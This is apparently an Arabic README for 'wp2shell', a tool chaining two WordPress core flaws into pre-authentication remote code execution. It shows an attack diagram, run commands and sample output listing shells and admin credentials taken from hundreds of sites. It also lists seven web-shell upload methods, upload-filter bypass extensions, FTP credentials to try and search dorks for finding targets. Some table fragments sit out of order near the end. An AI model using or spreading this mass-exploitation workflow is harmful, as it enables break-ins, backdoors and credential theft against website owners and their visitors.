
ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) قبل المصادقة في نواة ووردبريس — الخلط في التوجيه الدفعي + حقن SQL
CVE-2026-63030 (التباس توجيه الدُفعات) + CVE-2026-60137 (حقن SQL)
أداة استغلال بدون أي اعتماديات خارجية لسلسلة ثغرات wp2shell في نواة ووردبريس. يكفي طلب HTTP واحد مجهول الهوية لتحقيق تنفيذ تعليمات برمجية عن بُعد على تثبيت ووردبريس افتراضي دون الحاجة إلى أي إضافات.
| النطاق | الأثر | أُصلح في |
|---|---|---|
| 7.0.0 – 7.0.1 | RCE كاملة | 7.0.2 |
| 6.9.0 – 6.9.4 |
لا يلزم وجود إضافات أو إعدادات خاصة. تثبيت ووردبريس عارٍ قابل للاستغلال.
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests فقط لأداة التوسيع)log/scanned.txt الأهداف التي سبق فحصهاتُنفَّذ الطرق السبع جميعها بالتوازي عبر ThreadPoolExecutor. الطريقة الأولى الناجحة تفوز وتُلغى بقية الطرق.
امتدادات رفع الوسائط: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
بيانات اعتماد FTP المُجرَّبة: localhost / 127.0.0.1 مع root / www-data / بيانات اعتماد مدير ووردبريس
| الملف | المحتوى |
|---|---|
result.txt | بيانات اعتماد المدير: url.com/wp-login.php:user:pass |
result_upload.txt | روابط الشل: shell_url | login_url:user:pass | method |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
هذه الأداة مُقدَّمة لأغراض البحث الأمني واختبار الاختراق المصرَّح به فقط. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمّل المؤلفون أي مسؤولية عن سوء الاستخدام.
رخصة MIT. راجع LICENSE للتفاصيل.
| RCE كاملة |
| 6.9.5 |
| 6.8.0 – 6.8.5 | حقن SQL فقط | 6.8.6 |
| # | الطريقة | الوصف |
|---|
| 1 | direct-plugin | رفع ملف zip عبر /wp-admin/plugin-install.php |
| 2 | direct-theme | رفع ملف zip عبر /wp-admin/theme-install.php |
| 3 | rest-api | إرسال zip عبر POST إلى /wp-json/wp/v2/plugins مع كوكي مصادقة |
| 4 | plugin-editor | كتابة PHP مباشرة عبر /wp-admin/plugin-editor.php |
| 5 | theme-editor | كتابة PHP داخل مجلد القالب النشط |
| 6 | ftp-bypass | إرسال بيانات اعتماد FTP عندما تطلبها ووردبريس |
| 7 | media-upload | رفع PHP عبر مكتبة الوسائط مع 15 صيغة امتداد مختلفة |
log/scanned.txt |
| جميع المضيفات المفحوصة (تخطٍّ تلقائي عند إعادة التشغيل) |